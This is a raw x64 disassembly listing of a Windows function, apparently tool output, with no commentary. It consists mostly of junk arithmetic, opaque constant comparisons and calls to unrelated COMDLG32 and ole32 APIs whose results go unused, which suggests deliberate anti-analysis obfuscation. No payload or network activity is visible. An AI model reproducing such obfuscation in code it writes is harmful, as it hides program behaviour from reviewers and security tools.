movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9b0], ax
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
mov byte [rsp + 0x129], al
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
jmp 0x140015d7e
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
cmp dword [rsp + 0x278c], 0xe7fa
je 0x140015f21
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x125], al
mov eax, dword [rsp + 0x278c]
add eax, 0x7b
mov dword [rsp + 0x278c], eax
mov rax, qword [rsp + 0x4b40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
add eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27c0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x125], al
mov eax, dword [0x140168a78]
and eax, 0x16a69cd7
mov dword [0x140168a78], eax
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x4b28]
mov ecx, dword [rsp + 0x27ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
movzx eax, word [rsp + 0x9b0]
movzx ecx, word [rsp + 0xab0]
sub eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4b28]
mov ecx, dword [rsp + 0x2798]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ad8]
mov rcx, qword [rsp + 0x4b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x27ac], eax
movabs rax, 0x5eb3fd7203d67ec8
mov rcx, qword [rsp + 0x4b50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b08], rax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x125], al
jmp 0x140015d7e
movzx eax, byte [rsp + 0x125]
mov byte [rsp + 0x12a], al
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov qword [rsp + 0x4b60], rax
movabs rax, 0xf96095abfbdbecf9
cmp qword [rsp + 0x4b60], rax
je 0x140015fb7
movabs rax, 0xfca96fcd7ac2bfd1
cmp qword [rsp + 0x4b60], rax
je 0x140015f6f
jmp 0x140016047
lea rcx, [rsp + 0x1e090]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0x27e0], eax
mov rax, qword [0x140169c48]
mov r9, qword [rax]
movzx r8d, word [rsp + 0x9b0]
mov rax, qword [0x140169c48]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4b38]
movzx ecx, word [rax]
call fcn.140147d00
nop
jmp 0x140016047
movsx eax, word [rsp + 0xab4]
cmp eax, 0x7e61
je 0x140016031
movzx eax, word [rsp + 0xab4]
mov word [rsp + 0xab8], ax
cmp dword [0x140168a78], 0x7332d4cc
jne 0x14001602f
movzx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9b0], ax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
sub eax, ecx
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ad0]
movzx ecx, byte [rax]
call fcn.140147df0
nop
jmp 0x140016047
lea rcx, [rsp + 0x1daa0]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0x4b68], rax
movabs rax, 0x1761ec4825ca7e61
mov rcx, qword [rsp + 0x4b08]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4b50]
jle 0x1400160e5
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
mov eax, dword [rsp + 0x27ac]
mov dword [rsp + 0x27e4], eax
cmp dword [rsp + 0x27e4], 0x6abc807a
je 0x1400160c5
cmp dword [rsp + 0x27e4], 0xa08aeb5e
je 0x1400160b5
jmp 0x1400160e5
movzx ecx, byte [rsp + 0x129]
call fcn.140147df0
nop
jmp 0x1400160e5
movabs rax, 0x6ffdadc31813faf9
mov rcx, qword [rsp + 0x4b50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b08], rax
mov rax, qword [rsp + 0x4ad8]
mov rcx, qword [rsp + 0x4b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x27ac]
mov edx, dword [rsp + 0x27c0]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140016267
lea rax, [rsp + 0x27ac]
mov qword [rsp + 0x4b70], rax
mov dword [rsp + 0x27e8], 0x4965
mov eax, dword [0x140168a78]
mov dword [rsp + 0x27ec], eax
mov dword [rsp + 0x27f0], 0xcc46
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
mov dword [rsp + 0x27f4], eax
cmp dword [rsp + 0x27f4], 0
je 0x140016169
jmp 0x140016252
mov rax, qword [0x140169c40]
mov qword [rsp + 0x4b78], rax
movabs rax, 0x58427431aa58827d
cmp qword [rsp + 0x4b78], rax
je 0x1400161a5
movabs rax, 0xf96095abfbdbecf9
cmp qword [rsp + 0x4b78], rax
je 0x1400161fa
jmp 0x140016250
movzx eax, word [rsp + 0x9b0]
movzx ecx, word [rsp + 0x930]
add eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
lea rcx, [rsp + 0x1df10]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x279c], eax
movabs rax, 0x448cb980b8b2b29d
mov rcx, qword [0x140169c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
jmp 0x140016250
lea rax, [rsp + 0x12a]
mov qword [rsp + 0x4b80], rax
movzx eax, byte [rsp + 0x128]
movzx ecx, byte [rsp + 0x129]
shl eax, cl
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
lea rax, [rsp + 0xab0]
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27c0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2798], eax
jmp 0x140016267
mov rcx, qword [rsp + 0x4b90]
call qword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [rsp + 0x27f8], eax
lea rax, [rsp + 0x27ec]
mov qword [rsp + 0x4b98], rax
mov rax, qword [rsp + 0x4b08]
mov qword [rsp + 0x4ba0], rax
movzx eax, byte [rsp + 0x128]
movzx ecx, byte [rsp + 0x127]
or eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x125]
sar eax, cl
mov byte [str.Eo_Bl__e], al
cmp dword [rsp + 0x27e8], 0x40a5
jbe 0x14001649f
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
and eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9b0], ax
movzx eax, word [rsp + 0xab0]
movzx ecx, word [rsp + 0x9b0]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
movsx eax, word [rsp + 0xab8]
add eax, 0x3c78
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [0x140168a78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ec], eax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [0x140168a78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ec], eax
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2798], eax
mov eax, dword [rsp + 0x27e8]
sub eax, 0x8c
mov dword [rsp + 0x27e8], eax
movabs rax, 0x56d6ce4b37d56dc3
mov rcx, qword [0x140169c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
movzx eax, word [0x140168a7c]
movzx ecx, word [rsp + 0xab0]
or eax, ecx
mov rcx, qword [rsp + 0x4b38]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x27ec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
jmp 0x1400162bb
mov rax, qword [0x140169c40]
mov qword [rsp + 0x4ba8], rax
movabs rax, 0xd520b897ff91aba
cmp qword [rsp + 0x4ba8], rax
je 0x140016635
movabs rax, 0xd9e1d8025e79a70f
cmp qword [rsp + 0x4ba8], rax
je 0x1400164df
jmp 0x1400166ac
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [0x140168a78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x27ec], eax
mov rax, qword [rsp + 0x4b50]
mov rcx, qword [rsp + 0x4b08]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4ba0]
jle 0x140016633
mov rax, qword [0x140169c48]
mov rcx, qword [0x140169c40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov qword [rsp + 0x4bb0], rax
movabs rax, 0xbc6c0410766b2d75
cmp qword [rsp + 0x4bb0], rax
je 0x1400165fb
movabs rax, 0xf85011d518d4b020
cmp qword [rsp + 0x4bb0], rax
je 0x14001657d
jmp 0x140016633
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov byte [rsp + 0x127], al
lea r8, [rsp + 0x4b28]
lea rdx, [rsp + 0x1d7c0]
lea rcx, [rsp + 0x4b88]
call qword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov dword [rsp + 0x27fc], eax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
sub eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [0x140168a7c]
sub eax, ecx
mov word [rsp + 0xab0], ax
jmp 0x140016633
mov rax, qword [rsp + 0x4b18]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [0x140169c40]
movzx r8d, byte [rsp + 0x125]
movzx edx, byte [rsp + 0x125]
mov rax, qword [rsp + 0x4ac0]
movzx ecx, word [rax]
call fcn.140148200
nop
jmp 0x1400166ac
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27c0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
xor r8d, r8d
lea rdx, [rsp + 0x127]
lea rcx, [rsp + 0x1d7d0]
call qword [sym.imp.ole32.dll_OleGetIconOfClass]
mov qword [rsp + 0x4bb8], rax
movzx eax, word [rsp + 0xab0]
movzx ecx, word [rsp + 0x9b0]
and eax, ecx
mov word [rsp + 0x930], ax
mov eax, dword [rsp + 0x27ac]
movzx ecx, al
mov eax, dword [rsp + 0x27c0]
shr eax, cl
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov dword [rsp + 0x2800], 0xd38a
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov qword [rsp + 0x4bc0], rax
mov dword [rsp + 0x2804], 0x3542
mov eax, dword [rsp + 0x27dc]
add eax, 0xe7
mov dword [rsp + 0x27dc], eax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x27ec]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4bc0]
shl rax, cl
mov qword [0x140169c40], rax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [str.Eo_Bl__e]
or eax, ecx
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x128], al
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x128]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x126], al
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ba0]
mov rcx, qword [rsp + 0x4b50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b08], rax
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ac], eax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x27ec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [0x140169c40]
mov rcx, qword [rsp + 0x4bc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movsx eax, byte [str.Eo_Bl__e]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
movzx eax, word [rsp + 0xab0]
movzx ecx, word [rsp + 0x930]
shl eax, cl
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
mov eax, dword [0x140168a78]
mov ecx, dword [rsp + 0x27ec]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27ac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x27c0], eax
mov eax, dword [0x140168a78]
mov ecx, dword [rsp + 0x27ec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
movzx eax, word [rsp + 0xab0]
movzx ecx, word [rsp + 0x930]
sub eax, ecx
mov word [0x140168a7c], ax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
movsx eax, word [rsp + 0xab4]
add eax, 0x5b52
mov word [rsp + 0xab8], ax
movzx eax, word [rsp + 0x9b0]
movzx ecx, word [rsp + 0xab0]
add eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov rcx, qword [0x140169c40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4bc0], rax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x27ec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x27c0]
mov ecx, dword [rsp + 0x27ac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
cmp dword [rsp + 0x27dc], 0xefe
jne 0x1400166d4
movzx eax, word [rsp + 0xab4]
mov word [0x140169c50], ax
movzx eax, byte [rsp + 0x12a]
mov byte [rsp + 0x2808], al
cmp byte [rsp + 0x2808], 0
je 0x140016a71
cmp byte [rsp + 0x2808], 0x79
je 0x14014789b
jmp 0x140147958
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9b0]
add eax, ecx
movzx ecx, word [0x140168a7c]
mov rdx, qword [rsp + 0x4b88]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x140016add
mov rax, qword [rsp + 0x4b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
lea rdx, [rsp + 0x4ba0]
lea rcx, [rsp + 0x1d7e0]
call qword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [rsp + 0x27f8], eax
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
add eax, ecx
movzx ecx, word [rsp + 0x9b0]
mov rdx, qword [rsp + 0x4ac8]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
je 0x140016bf4
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov qword [rsp + 0x4bc8], rax
movabs rax, 0x37819baae5888a16
cmp qword [rsp + 0x4bc8], rax
je 0x140016bd0
movabs rax, 0x5a880cf984f4cffa
cmp qword [rsp + 0x4bc8], rax
je 0x140016b6b
jmp 0x140016bef
mov rax, qword [rsp + 0x4bc0]
mov rcx, qword [0x140169c48]
mov qword [rsp + 0x4bd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
shr rax, cl
mov qword [0x140169c40], rax
lea rcx, [rsp + 0x4b38]
call qword [sym.imp.ole32.dll_CoDisableCallCancellation]
mov dword [rsp + 0x27fc], eax
mov rax, qword [rsp + 0x4b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27ac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
jmp 0x140016bef
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x127], al
jmp 0x1401477f1
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0xab8]
sub eax, ecx
movsx ecx, word [0x140169c50]
cmp eax, ecx
jl 0x1401477f1
mov rax, qword [rsp + 0x4bc0]
mov rcx, qword [0x140169c40]
xor rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
cmp rax, qword [rcx]
je 0x140016c69
mov rax, qword [0x140169c48]
mov r9, qword [rax]
movzx r8d, word [rsp + 0x930]
mov rax, qword [0x140169c48]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4ac8]
movzx ecx, word [rax]
call fcn.140147d00
nop
jmp 0x140016db4
movsx eax, word [rsp + 0xab8]
movsx ecx, word [rsp + 0xab4]
and eax, ecx
movsx ecx, word [0x140169c50]
cmp eax, ecx
jne 0x140016db4
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bc0]
sub rcx, rax
mov rax, rcx
cmp rax, qword [0x140169c40]
jb 0x140016d7e
mov rax, qword [rsp + 0x4b40]
movzx eax, byte [rax]
mov byte [rsp + 0x280c], al
cmp byte [rsp + 0x280c], 0x12
je 0x140016cde
cmp byte [rsp + 0x280c], 0x4d
je 0x140016d5c
jmp 0x140016d7e
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
lea r8, [rsp + 0x4b98]
lea rdx, [rsp + 0x1d7d0]
lea rcx, [rsp + 0x4bb8]
call qword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [rsp + 0x279c], eax
movsx eax, word [rsp + 0xab8]
movsx ecx, word [0x140169c50]
sub eax, ecx
mov word [rsp + 0xab4], ax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
jmp 0x140016d7e
lea r8, [rsp + 0x27c0]
mov edx, 0xa1
lea rcx, [rsp + 0x1d7f0]
call qword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [rsp + 0x2810], eax
movzx eax, byte [rsp + 0x125]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x4bc0]
movzx r8d, byte [rsp + 0x12a]
movzx edx, byte [rsp + 0x12a]
mov rax, qword [rsp + 0x4ac0]
movzx ecx, word [rax]
call fcn.140148200
nop
lea rax, [rsp + 0x930]
mov qword [rsp + 0x4bd8], rax
movzx eax, byte [rsp + 0x125]
mov byte [rsp + 0x2814], al
cmp byte [rsp + 0x2814], 0x25
je 0x140016df0
cmp byte [rsp + 0x2814], 0x64
je 0x140016ee9
jmp 0x140016f3d
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ac], eax
mov eax, dword [0x140168a78]
mov ecx, dword [rsp + 0x27ec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
movsx eax, word [rsp + 0xab4]
mov dword [rsp + 0x2818], eax
cmp dword [rsp + 0x2818], 0x7166
je 0x140016e48
jmp 0x140016ec9
lea r8, [rsp + 0x4b88]
lea rdx, [rsp + 0x1d800]
mov ecx, 0x37
call qword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [rsp + 0x27e0], eax
mov rax, qword [0x140169c40]
mov rcx, qword [rsp + 0x4bc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b40]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [0x140169c48]
mov r9, qword [rax]
movzx r8d, byte [rsp + 0x12a]
mov rax, qword [rsp + 0x4b18]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4b38]
movzx ecx, word [rax]
call fcn.140148200
nop
jmp 0x140016ee7
mov rax, qword [rsp + 0x4b50]
mov rcx, qword [rsp + 0x4b08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ba0], rax
jmp 0x140016f3d
movzx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
lea rdx, [rsp + 0x1d7e0]
lea rcx, [rsp + 0x4bc0]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x27f8], eax
mov edx, dword [rsp + 0x27c0]
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rax]
call fcn.140148a70
nop
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x281c], eax
cmp dword [rsp + 0x281c], 0
je 0x140016f6a
cmp dword [rsp + 0x281c], 0x5bd3fb3
je 0x140016fb6
jmp 0x140017009
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9b0]
xor eax, ecx
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0xab8]
mov word [rsp + 0xabc], ax
mov dword [rsp + 0x2820], 0xb14a
mov rax, qword [rsp + 0x4b80]
movzx eax, byte [rax]
mov byte [rsp + 0x12b], al
jmp 0x140017009
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
sar eax, cl
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
lea rcx, [rsp + 0x4b40]
call qword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [rsp + 0x27fc], eax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140169c40]
shl rax, cl
mov qword [rsp + 0x4bc0], rax
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2798]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [0x140169c40]
mov rcx, qword [rsp + 0x4bc0]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [str.Eo_Bl__e]
add eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab0]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x125], al
movsx eax, word [rsp + 0xabc]
movsx ecx, word [rsp + 0xab8]
add eax, ecx
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x2798]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x27ec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [0x140169c40]
mov rcx, qword [0x140169c48]
mov qword [rsp + 0x4be0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4be0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4bc0], rax
mov rax, qword [rsp + 0x4bc0]
mov rcx, qword [0x140169c48]
mov qword [rsp + 0x4be8], rcx
